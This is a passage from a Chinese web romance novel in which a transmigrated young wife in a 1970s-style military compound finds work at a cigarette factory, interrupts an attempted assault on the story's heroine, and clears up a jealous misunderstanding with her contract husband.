部队的规定觅婉婉是清楚的,不能收老百姓的一针一线,觅婉婉忙拒绝,“不用了,你卖猪肉也是混口饭吃,不用给我优惠的。”
“我这条命都是谢兄弟救的,给弟妹一点优惠算什么。再说,我可不是贿赂谢兄弟。我们这是边境,没有谢兄弟他们在前面保家卫国,哪有我们的好日子过。只是少挣点钱罢了,不碍事。”祝毅在黑市做猪肉生意,少不得要各处去收猪。
但眼看着这些年搞运动弄得乱糟糟的,大家都没心思搞生产了,猪肉供应不上,祝毅只好往外走,去隔壁几个县市收猪。
前几天他去隔壁的溪城收猪,就听说月国的兵时不时地会闯进城里来抢东西,叮嘱祝毅最近来回的时候小心点。
不仅是溪城,玉城周边的几个县城都被骚扰了。祝毅以前念过点书,知道月国这是在试探,只怕不久就会开战。更知道那些兵之所以不敢来玉城,是因为玉
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城的兵格外厉害,他们不敢惹。
觅婉婉听了一耳朵时事,就没有强硬地拒绝。黑市有个相熟的,以后干什么都方便,大不了以后从别的地方补回祝毅就是了。
一味地拒绝,反倒显得生分。
离开平房,两人往西六巷去找裁缝铺做衣服。
“他刚才说你救了他的命是怎么回事?”觅婉婉不习惯沉默的氛围,总是时不时地要跟谢宴清说话。
好在谢宴清总是会回应她,“有一次我在山中打猎,碰见摔断腿的猪毅,顺手帮他把腿接上了。那时,他已在山中呆了两天两夜。”
两天两夜,如果没有谢宴清的出现,祝毅的腿又断了,怕是走不出大山,怪不得他那么感激谢宴清。
“原来你不仅会断人家腿,也会帮人接腿,你好厉害哦。”觅婉婉打笑谢宴清。
“嗯。”
“这你也嗯啊,你可真是......”
林记裁缝铺门口,觅桂兰看着前面气氛融洽的两人,指甲不小心扣破了皮肉。
深呼吸几口气,觅桂兰调整出一张笑脸上前打招呼:“婉婉,好巧啊,你也来做衣服吗?”
上次的事情之后,觅婉婉自认为已经跟觅桂兰撕破了脸,因此她不明白觅桂兰此时对她做出一张笑脸来做什么,好像忘了之前意图害她的事情一样。
“嗯,麻烦让让。”觅婉婉立马收起笑脸,板着脸说。她不是个以德报怨的人,相反,她记仇得很。
觅桂兰脸上的笑容微滞,“婉婉,我明天就结婚了。我的对象叫周哲,他把是革会的周主任,现在部队的事情都归他管呢。”
说完之后,觅桂兰胸膛就挺起来了,似乎有了底气。
觅婉婉看神经病一样看着她,现在去嫁革会的头头,跟49年入国军有什么区别?
觅桂兰却毫无所觉,见觅婉婉在看她,更骄傲了几分,“对了,听说你想进食堂做帮厨。真是不好意思呢,这个工作,给我了。”
谁都知道,在食堂工作油水足。不仅有份稳定的工资拿,平常还能从食堂拿回家各种吃食。连钱金莲知道这回事,对她都恭敬起来,家务给觅桂兰减少了一半。
觅桂兰无比庆幸自己从村里来到部队投奔姑姑的决定,如果呆在村里,觅桂兰一辈子都不会有这样的机会,最近她走路都是像踩在云朵上一样,飘的。
“哦。”觅婉婉懒得看傻子,挽着谢宴清的手进了裁缝铺。
觅桂兰想过觅婉婉会生气,会骂她,甚至跟她打架,唯一没想到的就是觅婉婉会无视自己。
她呼呼地看着他们的背影,恨恨地想,她一定会过的比觅婉婉更好。
林裁缝是个头发花白的慈祥老奶奶,听说觅婉婉是石小玲介绍过来的,对他们很热情。
觅婉婉详细说了自己想要的衬衫款式,怕林奶奶忘记,特意画了一张款式图给她。
林奶奶戴着金丝边的眼睛,看了好一会,笑着说:“真是好看,小姑娘你心思妙呀。”
觅婉婉没有接这话,她占了多生活几十年的便宜而已。要做的这件衬衫是前世基础的衬衫款,只不过版型更加立体。
这里的衬衫以宽大为主,就算是硬挺的涤纶布,也少有做的合身的,觅婉婉才想自己做。
约定三天之后来拿衣服,觅婉婉便和谢宴清往回走。
一百斤的野猪卖了五百块钱,觅婉婉的小金库又充实了一点,她心情很好。
“你想找工作?”谢宴清突然问她。
12. 存在
他问得突然,觅婉婉好一会才想起来觅桂兰刚才在他们面前一波秀呢。
没想到谢宴清会将这件事情放在心上,“食堂帮厨的工作,月苓昨天跟我提了一嘴,我没决定要去呢。”
昨天觅婉婉就没决定要去,更别说谢宴清今天一大早就给她猎来了一头野猪。可想而知,觅婉婉以后压根不需要为吃肉发愁。
既然不用为吃肉发愁,觅婉婉就想慢慢找合适的工作,不必因生存问题而仓促下决定。
先摸清楚这里的情况再说,最好能趁着时代的东风找个轻松又有专业前景的工作,顺便发展一下副业。
这是个不用卷到猝死就能致富的年代,觅婉婉不想再一次早逝。
问了一句之后,谢宴清就没再说话了。觅婉婉也不奇怪,谢宴清要保持书中高冷的反派大佬人设,不能话多,话多就崩了。
回到家之后,两人照常一起做饭。猪脚放砂锅慢慢炖烂,再凉拌一个马齿苋。猪脚香糯软烂,马齿苋爽口,晚饭吃的很满足。
接着两人洗漱,各回各的床睡觉,一切都很正常。
觅婉婉来到这里之后,有睡前泡脚的情况。她观察溪城这个地方,四季如春,天气不错,就是湿气太重,免不了要做一些祛湿的准备。
泡着泡着,谢宴清突然来敲她的门。
觅婉婉擦干净脚起身去开门,就见谢宴清沉默地站在房门前,一看就是有话说。
他沉默的时间有些长,觅婉婉却不催他。
“你想要什么工作?我可以...去找顾叔叔。”谢宴清这句话说的格外艰难,甚至停顿了一下。
“啊?!”
觅婉婉吓得后退几步,一个趔趄,差点摔倒在地。
谢宴清眼疾手快拉住她,冰霜似的脸上忽然浮现焦急,“你为什么吓成这样?难道,顾大勋对你做了什么?”
这是哪的话?
可觅婉婉不能说自己不是被顾大勋吓得,而是被谢宴清的反常吓得。
先不说书中的剧情,光是凭着她来到这里之后对谢宴清的观察,觅婉婉清楚地知道,谢宴清是想远离男女一家人的。
虽说现在看起来顾大勋对谢宴清不错,奈何谢宴清铁了心要跟他划清界限,不然他怎么来找自己协议结婚呢。
正是知道谢宴清有多想跟顾家划清界限,所以觅婉婉才被他吓到了,谢宴清难道要为了自己去求顾大勋?
想到这里,觅婉婉不能接受,“工作的事情,我心中有数,如果有可能的话,我不想在部队工作。”
部队纪律严明,规矩又多,觅婉婉不太喜欢这种工作氛围。尤其是随着时代的发展,军队的纪律会越来越多,觅婉婉光是想想就头大。
更何况私心来说,觅婉婉是希望谢宴清能够远离男主一家,拥有与男主无关的人生的。
他这样一个能搅动风云的人物,不该仅仅是男主人生磨练的试炼石。
“你迫不及待地想走?”谢宴清恢复了冷若冰霜的神情,吐出的每一个字都不带情绪。
觅婉婉诧异地同时无端端从他的语气中听出了一丝丝委屈,“我哪有想走,我只是觉得你们规矩太多,束缚罢了,我不想你为了我去求人。”
“嗯。”谢宴清转身,回到客厅。
觅婉婉关上门,思考了一下,谢宴清果然不是天生的反社会人格,人挺好的嘛。
三天婚假结束,谢宴清就要照常参加训练。
觅婉婉在家闲来无事就开始摆弄家里的缝纫机,百货大楼里流行的衣服觅婉婉不喜欢,外面摊子上一色的黑白回蓝,老气横秋的衣服,觅婉婉就更不想穿了。
于是她想试试能不能学学缝纫机,自己给自己做衣服。
摆弄了两天,看着手中歪歪扭扭的线条,觅婉婉彻底放弃这个想法,她没有做裁缝的天赋。
好在第三天的时候,杨月苓又来找她逛街了。
大小姐每次让人陪就没有让人吃亏的,觅婉婉非常乐意做富婆恶毒女配的跟班,暂时就把陪大小姐逛街当作上班了,反正杨月苓足够大方。
商场一顿买买买之后,觅婉婉顺便去镇上拿做好的红色衬衫。
衬衫做得很符合觅婉婉的心意,暗红色的料子,立体贴身的版型,针脚也密实,觅婉婉乐呵呵地手下道谢。
“没出息,就这种衣服,瞧把你高兴的。”杨月苓吐槽说。
今天杨月苓又送了她一双黑色的小皮鞋,六十块钱。因此大小姐嘴毒觅婉婉一点都不在意,“自然没法跟大小姐比。”
杨月苓皱着眉思考,“今天绿色的那件裙子我喜欢,白色加蕾丝的衬衫我也喜欢,碎花的我要留着搭上次买的白裤子......哪件我都舍不得给你。”
她一本正经地念叨,觅婉婉苦笑不得:“我有黑色的小皮鞋就可以啦,至于衣服,小大姐以后心情好的时候再给我买就是了。”
虽然觅婉婉安心做路人甲,却无意占杨月苓的便宜。如今收了她礼物,以后工作了还回去便是。
走着走着,便看见前面为了一群人,热热闹闹地围在一起。
这场景,怎么看怎么熟悉,觅婉婉心道不好。
杨月苓已经走过去,看到人群中拉拉扯扯的一对男女时,立马气势冲冲地上前,指着白霜儿说:“你这个土包子,又来勾引我阳哥哥!”
提着大包小包挤进来的觅婉婉一阵无语,男女主这该死的缘分呀。
白霜儿脚下是散落的蘑菇,脸上挂着泪珠,倔强地拉着顾宁阳:“赔我的蘑菇。”
连道具都不换一下,又是蘑菇,觅婉婉挨着人群站在一边,吃瓜看戏。
顾宁阳暴躁地不行,“我都跟你说了,我今天忘了带钱,明儿拿给你。你这个女人,怎么认死理呢。”
杨月苓立马拿出一沓钱,丢给白霜儿:“这些够配你的蘑菇了吧。拿了钱赶紧走,别拽着我家阳哥哥,他不是你能碰的人。”
一沓百元大钞散落了一地,白霜儿眼中全是屈辱:“你们是什么人?难道我穷,我就该任你们欺辱吗?你们的心这么脏,我不稀罕你的钱,嫌脏!”
说完,白霜儿拿起地上的篮子,头也不回地走了。
觅婉婉看着地上的钱,足有一万吧,该死的有钱人,她很想捡。但觅婉婉知道,出生卑微,人品高洁的女主是绝对不会捡的。
顾宁
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阳看都没看杨月苓一眼,急匆匆地走了。
“阳哥哥......”
杨月苓叫了他好几次,顾宁阳都没回头,杨月苓只好委屈巴巴地来找觅婉婉。
地上的钱几秒钟就被人群中反应快的人捡走了,觅婉婉因为吃瓜错过了捡钱的机会,后悔不已。
“那个狐狸精,肯定是故意来勾引阳哥哥的,否则溪城这么大,她怎么能一而再再而三地碰见阳哥哥?”回去的路上,杨月苓愤愤不平地说。
因为作者让他们碰见的,觅婉婉默默回答。
说了一路之后,回到军区家属院,杨月苓终于想起来了些别的,“上次食堂帮厨的工作被别人占了,你想不想去当话务员?”
姚红桃的话务员工作就是杨月苓安排的,再安排一个觅婉婉,对杨月苓来说不是问题。
“姚红桃越来越懒了,以前天天往我跟前凑,现在都好几天不见她人影了。”杨月苓抱怨说。
觅婉婉不接姚红桃的话茬,“溪城有什么工作吗?比如国营厂什么的?”
杨月苓:“溪城食品厂、棉纺厂和机械厂什么的都有,不过我爸说这些年大家都在搞运动,几乎所有的厂子生产都不行,产量上不来,工人没事干,天天打牌。”
觅婉婉听了皱眉,看起来不像是个好去处。
“对了,磨盘镇的后山上有个卷烟厂,是离我们大院最近的国营厂了。”杨月苓在杨博才身边耳濡目染,对环境时事还是有所了解。
溪城卷烟厂,觅婉婉心中一动,不会是她想的那个卷烟厂吧,如果是的话...就是她梦想的神仙工作了。
送杨月苓回家后,觅婉婉越想越激动,以致于觅桂兰朝她走过来都没有看见,直接从她身旁穿过。
觅桂兰:......
“婉婉,在想什么呢?该不会是为了工作发愁吧?”觅桂兰叫住她。
觅婉婉回过头,就见觅桂兰穿着大红碎花圈子,手一直放在耳朵旁边,耳朵上挂着金色的圆耳环,打扮得怎一个土自了得。
“我这耳环是金的呢,周哲送给我的,说是我新嫁过来,给我压金(惊)。”觅桂兰见她盯着自己的金耳环看,骄傲地说。
“我公公权利大,你要是急着工作的话,可以找他安排。”
觅桂兰就差把“你求我呀”四个字写在脸上了,可惜觅婉婉无意入国军,直接无视她,走了。
气的觅桂兰满脸通红,半晌,朝着她的背影说了一句:“你迟早有求我的一天,咱们走着瞧。”
心里一直惦记着卷烟厂的事情,吃晚饭的时候觅婉婉就有些心不在焉。
“怎么了?”谢宴清问她。
觅婉婉回过神:“溪城卷烟厂你了解吗?”
谢宴清:“离我们这里很近,偶尔训练的时候会经过。环境脏乱,工人生产马虎,工作的大部分时间在玩。并且由于生产的烟质量太差,卖不出去,工人待遇不好。”
“难道你想去溪城卷烟厂工作?”谢宴清一眼看出她的想法。
“我明天去看了再说吧。”
觅婉婉要去确认一下,这个溪城卷烟厂是不是后来那个了不起的存在。
13. 围观
如果是的话,觅婉婉会想办法进入溪城卷烟厂工作。
“需要我陪你去吗?”谢宴清问。
“不用,”觅婉婉扬了扬胸前的哨子,“我有哨子呢,要是遇到危险,我会吹哨的。”
“嗯。”谢宴清知道她是个有主意的,并不多问。
“我想转去特种部队。”谢宴清突然说道。
觅婉婉:“哦,我觉得也是,你去特种部队,说不定可以一展所长。”
几天的相处下来,觅婉婉发现谢宴清不仅力气比旁人大,听觉比一般人灵敏,就连射箭,都比一般人射得准。
前两天谢宴清打回来的野猪,觅婉婉看见野猪全身的皮肉完整,只有两只眼睛被竹箭深深地贯穿,可见谢宴清的箭法有多么精准。
“你不必担心,我会升职。”谢宴清又说。
“那是当然,我相信你。”觅婉婉理所当然地赞同。
谢宴清见她不明白却无条件相信自己的样子,心下一暖。
溪城卷烟厂距离军属大院只有四公里左右,厂房建在山坳中,为的是方便在四周的山上种植黄烟。
觅婉婉骑着自行车路过的时候,发现山埂上的黄烟大部分都枯萎了,剩下的活着的也大多蔫蔫的。
唯有厂房后面的几亩地,黄烟的个头不小,叶子嫩绿,看起来打理得不错。
到达溪城卷烟厂之后,映入眼帘的是一派破败不堪的景象:厂房破破烂烂,地上垃圾、污水混在一起,散发出令人作呕的气味。除此之外,职工宿舍那边家家户户都搭着鸡窝,门口的鸡乱飞,飞到厂房也没人管。
看到这个景象,觅婉婉的心凉了半截。正准备走人的时候,恰好看见一坐干净的房子,在这片景象中格格不入。
觅婉婉不由自主地就朝那栋厂房走过去,待走到门口时,便看见不仅是外面干净,里面也干净。
最重要的是里面的人和其他厂房的工人也格外不同,精气神不一样。只有这里的工作在认认真真工作,精神饱满,眼里有光。
“姑娘,你来找人吗?”一个穿着黑色布鞋,头发些许花白、目光犀利的老人出来问觅婉婉。
觅婉婉:“大叔好,我是想来这里看看能不能找到工作。”
刘为民罕见地愣了一下,卷烟厂很久没有人过来找工作了,更别说是年轻的女孩。
“我叫刘为民,这里倒是缺人,可是卷烟厂的情况,你了解吗?”
听到眼前人的名字,觅婉婉眼睛一亮,她没有找错地方,溪城卷烟厂就是未来那个无数大学生想要进的单位。
伴随着高工资、高福利和高稳定性的单位,不会猝死的单位。
“我是从外地来结婚的,刚嫁进家属院,正是对卷烟厂不熟悉,所以才过来了解的。”觅婉婉诚实地说。
“军人的家属?”刘为民得知后,让觅婉婉进了厂房,开始给她介绍。
“卷烟厂的情况就是你看到的这样,除了我这里,大部分人已经不生产了。拿个基本工资,饿不死也吃不饱。”
“我是军队上退下来卷烟厂做书记的,你要想进厂工作,我可以给你安排。但想要在我手下做事,就必须按照我的规矩来。从黄烟种植开始,到烟叶初烤、复烤、发酵到卷烟配方、卷烟制丝、烟支制卷、卷烟包装,每一步都要学,每一步都要会。”
“你想清楚,能做到吗?”刘为民愿意为部队的家属开个方便之门,但他不会因此放低自己的原则。
觅婉婉认真思考后回答:“我能。”
平台很重要,领导更重要。觅婉婉深谙职场之道,刘为民能在逆境之中撑起一片天,不会是个差的领导,觅婉婉心甘情愿跟着他干。
见觅婉婉不像是一时兴起的样子,刘为民安排人去给觅婉婉办手续,让她明天开始来上班。
负责给觅婉婉办手续的人是个瘦高个,名叫彭飞,性子活泼,一直在跟觅婉婉聊天。
“对了,婉婉,你要住宿舍吗?”彭飞熟络地问她。
觅婉婉看了看那边鸡屎鸭屎满地、密密麻麻的职工宿舍,迅速地摇了摇头,“不用,我住的不远,每天骑自行车过来就行。”
彭飞只以为她实在磨盘镇上哪个双职工家里的独女,不然也不会买得起自行车。完全能不会想到眼前这个娇滴滴、明艳动人的小姑娘已经结婚,住在军属大院中。
离开溪城卷烟厂之后,觅婉婉心情不错,就去了磨盘镇中的书店,准备买几本书回去看。
她在书店中挑了好一会儿,发现书店全是些枯燥乏味的书。略想便知道,跟现在的文化环境有关。
于是觅婉婉放弃买书的想法,改去淘漫画,这一淘,倒是让她淘到好几本有趣的。
觅婉婉一口气买了七本漫画书,明天她就可以上班挣钱了,就当是开工大吉吧。
排队结账的时候,觅婉婉注意到门口站着个小男孩,手里拿本新华字典,像个雕塑一样望着街头的方向。
“季白,你姐姐还没来吗?要么你先回去吧,字典明天再来买。”售货员对那小男孩说。
名叫季白的小男孩回过头,认真地对售货员说:“谢谢阿姨,我跟姐姐捡了一年的垃圾卖,已经凑够钱买字典了,我姐姐一定会来的,我们马上就会有字典了。”
有礼貌的孩子谁都喜欢,售货员笑笑:“那你可以进去等呀,顺便看看书,看书不收钱的。”
小男孩想了想,听话的走进店里,小心地拿起一本书来看,连翻页的时候都特别谨慎,生怕把书给翻坏了。
是个独立又热爱学习的孩子呢,觅婉婉看了心想。
买完漫画书后,觅婉婉去了镇上的国营饭店吃午饭,准备吃完午饭在镇上逛逛再回家。
国营饭店的厨子手艺不错,觅婉婉叫了一碗榨菜肉丝面,高汤底,手感的面条劲道,肉丝和榨菜整整齐齐地码了一碗面,上面再盖着一层青菜。
别说,这个年代的国营饭店别的不说,料是足足的。前世的时候,觅婉婉外卖叫一碗面,随随便便就二三十,分量嘛,大概只有眼前这碗的三分之一。
吃完面之后,觅婉婉就去了林家裁缝铺,买了几套深色的棉质衣物。
“你这丫头,正是花一样的年纪,怎么买这般老气的衣服
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。”林慧忍不住说道。
觅婉婉笑说:“林奶奶,我找到工作啦,刚开始工作难免脏些累些,我只是不想弄脏漂亮衣服啦。”
她找到工作,林慧也高兴:“女孩子还是要有工作的好,工作才有更广阔的天地。”
觅婉婉:“是了,像林奶奶一样,头发花白还能工作挣钱最好了。”
“你这丫头嘴巴是抹了蜜吧。”林慧笑着塞给她一个小包,神神秘秘地,“但同时也不能忽略了家里,你回去把这个穿上,保准家庭和谐。”
觅婉婉好奇地想打开小包看看里边是什么武林宝典,林慧按住她的手,“一定要回去后才能打开。”
好吧,武林秘籍都是不能给外人看的。觅婉婉收好东西,骑着车往回走。
好巧不巧,刚骑到镇中心位置,觅婉婉又看见了不该看见的人。她把车蹬的更厉害了,没想到顾宁阳直接站出来拦她:“觅婉婉,下来喝口茶吧。”
“不喝。”觅婉婉转了个弯就要走。
“你不喝我就跟月苓说你勾引我。”顾宁阳双手抱胸,得意地看着她。
觅婉婉恨不得一拳打在他脸上,碍于杨月苓的情面,还是下了车,坐在顾宁阳对面:“你最好是有什么重要的事。”
“也没什么重要的事,”顾宁阳收起刚才的志得意满,烦躁地挠挠头,“就是那个白霜儿,之前的事情,我想去跟她道个歉。可是每次去她都跟我吵架,她怎么回事啊,送她东西她也不要。”
觅婉婉听了朝他翻个白眼:“你要是真的感到抱歉,离她远一点,她就会对你感恩戴德的。”
顾宁阳噎了一下:“你怎么这样说呢,我是真心想去道歉的。”
是啊,顾宁阳觉得自己是真心道歉的,可就是因为他的纠缠不休,白霜儿平添了许多磨难。
觅婉婉没法这样跟他说,只好说:“要不你让她冷静一下?”
“也行,”顾宁阳点点头,“等她冷静下来,就会发现我其实是个好人。”
觅婉婉:......
她不想再跟这个傻子男主说话,起身走人的时候,突然听到旁边两个小孩的哭声。
那哭声太过凄惨,觅婉婉忍不住看过去:是上午在书店的那个小男孩,抱着他一起哭的是个十一二岁的女孩,身子的衣服打着明显的补丁。
此时他们正抱在一起,对着斜对面酒馆中喝得烂醉如泥的中年男人哭。
两个孩子哭的震天响,男人终于不耐烦地走过来对他们吼道:“哭什么哭,不就拿了你们几个钱喝酒吗?!老子拿儿子的钱,天经地义。”
季白脸上涕泪横流,小女孩也全是泪水。
中年男人像是被酒精堵住了耳朵,听不见自己孩子撕心裂肺的哭喊和绝望。
“白白,别哭了,姐姐送你这本字典。”
“靠!你算什么男人啊,把钱交出来!”
一道温柔的女声和顾宁阳暴躁的声音同时响起,觅婉婉看看不远处的白霜儿,又看看对面的顾宁阳。
好好好,路人甲的作用就是各种围观男女主和配角们的各种大戏是吧?
14. 和谐
顾宁阳打人的手停下了,白霜儿送字典的手也顿住了。
“你...你...”顾宁阳说了好几个你也没说出一句话来。
白霜儿把书递给季白,对小女孩说:“萍萍,你先带着弟弟回家,叫你奶奶过来把你爸弄回家。”
季萍抹了一把泪:“嗯,谢谢霜儿姐姐,我和弟弟会把买字典的钱还给你的。”
安抚好两个小孩,看着他们回去之后,白霜儿看也没看顾宁阳一眼,抬脚就走。
“哎~白霜儿,你急着走干什么,你们家现在正是要用钱的时候。你好心给别人送字典,你自己怎么办啊?要不......”
“不用。”白霜儿一口拒绝。
觅婉婉正看着好戏,就看见一个穿着和杨月苓,身形瘦弱的女孩加入了战场。
“就是说啊,你哥腿摔断了都没钱治,这会儿却有钱送人字典。”林溪是听说顾宁阳来了镇上,特意来偶遇的。
谁知被白霜儿抢先了,她心中不爽,却不像杨月苓一样表现在脸上。
林溪像是想起了什么似的,故作惊讶:“呀,你不会是故意扮可怜,博取阳哥哥的同情吧?”
“谁博取他的同情了?”白霜儿震惊又屈辱,似乎是不想看见他们,闭上眼睛吸了好几口气,眼睛再睁开的时候,扭头便走。
顾宁阳想去追她,林溪拉住他的胳膊:“阳哥哥,伯父让我叫你回家呢。”
“知道了,我一会儿就回去。”顾宁阳摆脱她的手,急急忙忙追着白霜儿去。
林溪看到追着白霜儿去的顾宁阳,眼里的怨毒毫不掩饰。
看完了戏,觅婉婉拿好自己的东西,骑上自行车回军属大院。
这个林溪,看起来很不好惹。
书中林溪在男女主感情确定后存在感都非常高,甚至差点让两人的感情破裂。可见其心机之深沉,幸好杨月苓跟她不对付,觅婉婉觉得自己跟她应该没什么交集。
倒是今天那个礼貌乖巧的小男孩,让觅婉婉觉得心里闷闷的,生在这样的家庭,未来的路怕是很难走。
即将到达军属大院的时候,觅婉婉隐约听到隔壁的山上传来呼救的声音。
她放下车,走进山中,就见背山的草丛中有个男子正压着一个女的,显然是要行不轨之事。
“咻咻...咻咻...咻咻...”
急促的哨子声音响起,男子听到哨声,几个打滚,迅速从山的另一边逃离。
觅婉婉本想看清他的样子,没想到,那人戴着口罩和帽子,明显是做好了防护来的。
接着,白霜儿衣衫不整地从草地上站起来,泣不成声地对觅婉婉说:“谢谢你,要不是你,我...我就......”
觅婉婉没想到是白霜儿,不过很快,她就上前去帮白霜儿整理衣物:“没事,你就当是被狗咬了一口。若是有机会,狠狠地咬回来便是。”
她的观点跟大多数人都不一样,好像这个涉及女孩清白的事只是一件小事,如果是别人,或者她妈还在的话,一定会把这件事情当作天大的事情。
白霜儿傻傻地看了她一会儿后,眼中浮起坚韧:“嗯,这个仇,我一定要报。”
“你是要进山找东西吗?这山里呀,什么宝贝都有,不过现在天快黑了,你最好明天再过来。天无绝人之路,祝你明天满载而归。”觅婉婉想起刚才林溪说白霜儿哥哥的腿断了,这般说道。
白霜儿被人欺负这件事情,她看见了,不管她是女主还是什么,都会帮。但是其他的事情,觅婉婉就不能事事都管了。
她只是个路人甲,过好自己路人甲的生活就好了,搅进主角们惊天动地的生活干什么,万一遭报应了呢。
“霜儿,你怎么了,我刚刚撞见一个男人,他把你怎么了?”顾宁阳姗姗来迟,焦急地上前,一把抓住白霜儿。
白霜儿刚刚受了惊吓,此时被他一抓,惊叫一声推开他,顾宁阳就摔了个狗吃屎。
他狼狈的样子让觅婉婉忍不住笑了一下,白霜儿反应过来,有些愧疚地说:“对不起,幸好婉婉救了我。今天的事情,你不要往外收,我还要回家,你别跟着我了。”
顾宁阳还想跟白霜儿说些什么,觅婉婉拉住他:“你能不能有点眼色,人家姑娘刚刚受了惊吓,你追过去继续吓人家吗?”
一向天不怕地怕的顾宁阳这次难得没有反驳人家,沉默地往外走,觅婉婉也跟着出去。
“阳哥哥,你怎么从山里出来?”
一道有些熟悉的声音传过来,觅婉婉无语,这顾宁阳到底是有多少桃花啊,她还是赶紧远离这个是非之人。
“婉婉,你怎么会在阳哥哥后面出来?!”觅桂兰大失惊色,尖声说道。
觅婉婉也万万没想到会是觅桂兰,惊呆了。
怎么回事?
原本书中的女配没有觅桂兰的,可觅桂兰叫的阳哥哥,不是书中所有喜欢男主的女配角们叫的吗?
难道顾宁阳身上是有什么魔力,所有接触过他的女人都会爱上他,为他疯,为他狂,为他哐哐撞大墙?
想到这里,觅婉婉一个机灵,真是太可怕了。
觅婉婉不说话的表现落在觅桂兰眼里,就是心虚地意思了,“你怎么能这样做,你们...你们在后山......”
“等下,停止你的胡思乱想,我们在后山什么都没做。”觅婉婉立即打断她的话。
顾宁阳也反应过来,他本来就因为白霜儿被欺负的事情心情不好,眼看着又要被觅桂兰泼脏水,忍不住大怒:“你神经病啊。”
吼完这一句,顾宁阳气呼呼地走了。
觅婉婉也要走,觅桂兰却死死拉住她:“你说清楚,你们在后山什么都没做吗?那为什么阳哥哥一身污泥,衣服发丝都是凌乱的。”
“觅婉婉,你可是结了婚的人!”说到最后,觅桂兰几乎是歇斯底里地喊。
看来是真的得了某种疾病,觅婉婉冷静地看着她:“你也是结了婚的人。”
觅桂兰终于反应过来,语无伦次地解释:“我没有...我不是......”
“叮~”
觅婉婉按了一下车铃,脚
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下一踩,自行车就向前走出一大段。
“刺”的一声,觅婉婉又立马停下来。
谢宴清站在她自行车的正前方,不知道什么时候来的,也不知道来了多久。
“回家。”谢宴清丢下两个字便往回走。
觅婉婉不知为什么,涌出一股紧张感,握着车把的手心都出汗了。
原本慌乱的觅桂兰看见这一幕,幸灾乐祸起来:“婉婉,你不愿意跟我说你和顾宁阳在山里干了什么,总要对你丈夫解释一下吧!”
觅婉婉回头瞪了她一眼,从来没觉得这个堂姐这么碍眼,包括之前她算计自己的时候都没有。
回到家后,觅婉婉和谢宴清两个人的气氛就不对了。
谢宴清一向是话少的,今天倒好,直接一句话不说。偶尔觅婉婉想跟他说话,就会碰上他冰冷的目光,冷的觅婉婉牙颤,张不开口。
觅婉婉没有处理过这种事情,要解释吗?
因为不会处理,觅婉婉拖拖拉拉地,直到进入房间睡觉,也没跟谢宴清开口,两人就这样各回各屋睡下了。
躺在床上,觅婉婉翻来覆去,天气似乎热起来了,还有点闷,怎么也睡不着。
突然瞥见林裁缝今天塞给她的小包,林奶奶说什么来着,穿上那个,保管家庭和谐。
觅婉婉望着天花板,深深地叹了一口气,认命地起身。
她心里明白,今天如果不是自己,救白霜儿的就是顾宁阳。觅婉婉一个路人甲,抢了男主英雄救美的戏份,阻碍了男女主在一起的进度,剧情这是在报复她呢。
打开小包,里面是一件手感极其丝滑的肚兜,肚兜能促进家庭和谐?
觅婉婉想不明白,不过刚好可以当睡衣穿着睡觉,不热也不闷。
黑色的肚兜上还绣着白色的玉兰花,绣工精致,觅婉婉很喜欢,她来到镜子前,想看看自己穿起来好不好看。
“啊!!!”
觅婉婉尖叫一声,这什么肚兜啊,竟然是用纱布做的,若隐若现,不仅如此,还包裹得极为紧致......
觅婉婉的脸红成了个番茄,她再傻,也知道这肚兜为什么能促进家庭和谐了,这不就是那什么内衣嘛。
“你怎么进来了?”觅婉婉从镜子中看见谢宴清突然进来了,吓得不轻双手抱胸,连连后退。
偏她这样,胸前的小白兔更是颤动着要跳出来一样。黑色的纱衣衬得觅婉婉如凝脂一般的肌肤胜雪,白色的玉兰花似乎都要失色。
因为惊吓,觅婉婉精致的眼中染上水色,红扑扑的脸上几乎要烧起来。
谢宴清的双眸漆黑不见底,仔细看,似乎有什么东西就要压抑不住,喷涌而出。
他一步一步地向前,将觅婉婉抵在镜子前,“你就是穿成这样跟顾宁阳去后山的吗?”
什么玩意?觅婉婉懵了,呆呆地看着谢宴清近在眼前的眉眼。
“顾宁阳,他有什么好?”谢宴清闭上眼睛,声音发哑。
觅婉婉确定自己没有听错,她第一次在谢宴清的口中,听到痛苦的声音。
15. 误会
等她明白谢宴清的意思,觅婉婉的脸迅速变得通红。
“你...你胡说八道什么?”由于太过羞耻,觅婉婉的声音声音很小,但两个人离得这么近,仍然可以听得清清楚楚。
除此之外,觅婉婉清清楚楚地看见谢宴清眼中那抹来不及掩饰的痛色。
她的心似乎被这抹痛色扎了一下,着急忙慌地解释:“我穿成这样,不是为了顾宁阳,是为了你。”
说完,觅婉婉愕然地看着眼前的人。她的话似乎对谢宴清冲击也极大,只见谢宴清微微睁大了双眼,愣愣地看着自己。
反应过来自己说了什么之后,觅婉婉一把推开谢宴清,一骨碌钻进被子,用粉色的碎花被子把自己裹起来,只露出小小的一颗头。
“我不是那个意思。”觅婉婉试图挽救,但随她怎么想,都觉得现在说什么的都是越描越黑。
“对不起,”谢宴清恢复了平常冷若冰霜的样子,突然向她道歉,“我不该误会你。”
“况且,”谢宴清看了觅婉婉一眼,垂下头,像只受伤的小狗狗,“我们又不是真的夫妻,我没有资格对你生气。”
觅婉婉最看不得他这样,“名义夫妻也是夫妻,我会遵守约定的。我跟顾宁阳,真的没什么。”
怕谢宴清不相信,觅婉婉将傍晚发生的事情详细地说了。
“你看清楚那个人的样子了吗?”谢宴清的脸色变得凝重,严肃地问道。
“没有,他是做好了措施的,连白霜儿都没看清他的样子。”如果看清了,觅婉婉必定是会报警把人抓起来的。
谢宴清皱眉:“今天他没成功,下次呢?留着他,终有姑娘会遭受伤害。”
“你好像特别厌恶毁人清白的男人?”这个疑问,先前谢宴清差点打断姚勇军腿的时候,觅婉婉就有了,只是一直没有找到机会问出来。
那天晚上,在他们碰见之前,谢宴清明显是不知道姚家想要算计的人就是自己。可是谢宴清还是管了,说明无论那个被算计的人是不是自己,谢宴清都会出手阻拦。
“女子一旦被算计了清白,就一辈子回不了头了。那些男人,万死不为过。”谢宴清平静地说,周身泄露出一股寒气。
对此,觅婉婉颇为认同:“就是,要是抓到这个人,打断他腿太便宜他了,你应该直接阉了他,用你剖野猪的那把刀!”
谢宴清直直地看向她,目光意味不明。
“我的意思是,强/奸犯即使受到了惩罚,很快,他们也会再次犯案的,阉了最好。”觅婉婉后知后觉发现自己说的话有点过于凶残,找补说。
不过,她在前世的时候看过犯罪心理学,这类烦人因为缺乏自我控制能力,是极容易重新犯罪的,尤其是在惩罚的严厉性不足以遏制重新犯罪的时候。
